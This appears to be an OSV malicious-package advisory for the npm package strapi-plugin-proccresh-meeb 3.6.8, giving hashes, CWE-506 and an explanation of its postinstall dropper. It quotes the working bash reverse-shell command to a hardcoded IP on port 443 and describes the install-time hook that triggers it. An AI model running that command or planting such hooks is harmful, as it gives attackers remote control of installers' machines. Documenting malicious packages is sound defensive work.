-= Per source details. Do not edit below this line.=-
strapi-plugin-proccresh-meeb ships a postinstall dropper that opens a bash reverse shell to the hardcoded IP 14.225.210.85 on TCP/443 at npm install time. package.json declares "scripts": { "postinstall": "node postinstall.js" } and "main": "postinstall.js", so both npm install and any require() of the package unconditionally execute postinstall.js, which runs bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1', connecting the installer's shell stdio to the attacker-controlled host. The package's own description self-identifies as Reverse shell payload for Strapi. Result is full interactive remote code execution on the installer's machine with no user interaction.
{
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-020052",
"import_time": "2026-09-15T16:19:14.418992927Z",
"modified_time": "2026-09-15T15:53:35Z",
"sha256": "c65ca459d74b0be577eb0a1476ec8b9de089a524019ea9ef0061c5ee42e00729",
"source": "amazon-inspector",
"versions": [
"3.6.8"
]
}
]
}[
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
]
{
"evidence_files": [
{
"path": "postinstall.js",
"sha256": "64197e7dd0a66dc744bda2d461cee1021bbe7d7e62a6ba4739f5c700a2223313",
"tlsh": "ade0ab18babb5b39d37b48cea111dc2ba74344143279e5a3a4d90322a7c3ead10045de"
},
{
"path": "package.json",
"sha256": "77eb815a6468a63403c4166464460a5a518248f8e963f50ef8bd576009bd9a03",
"tlsh": "14d05e148a11972379c467991817820bab715d071505b92c27b71548024babb987b35f"
}
],
"package_integrity": [
{
"filename": "strapi-plugin-proccresh-meeb-3.6.8.tgz",
"hashes": {
"sha1": "a611448df87f750d6b2e2b4ae25a3853d6ffd320",
"sha512_sri": "sha512-NtH/FoO9WfSOyZj9ZC3Byj6AGBk+TOVGN3ixej8EDGwn4hs6VYU9DFpXBfkLWFMW3IRczZhgKr8EXVEr1ERlxA=="
}
}
]
}
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/strapi-plugin-proccresh-meeb/MAL-2026-16182.json"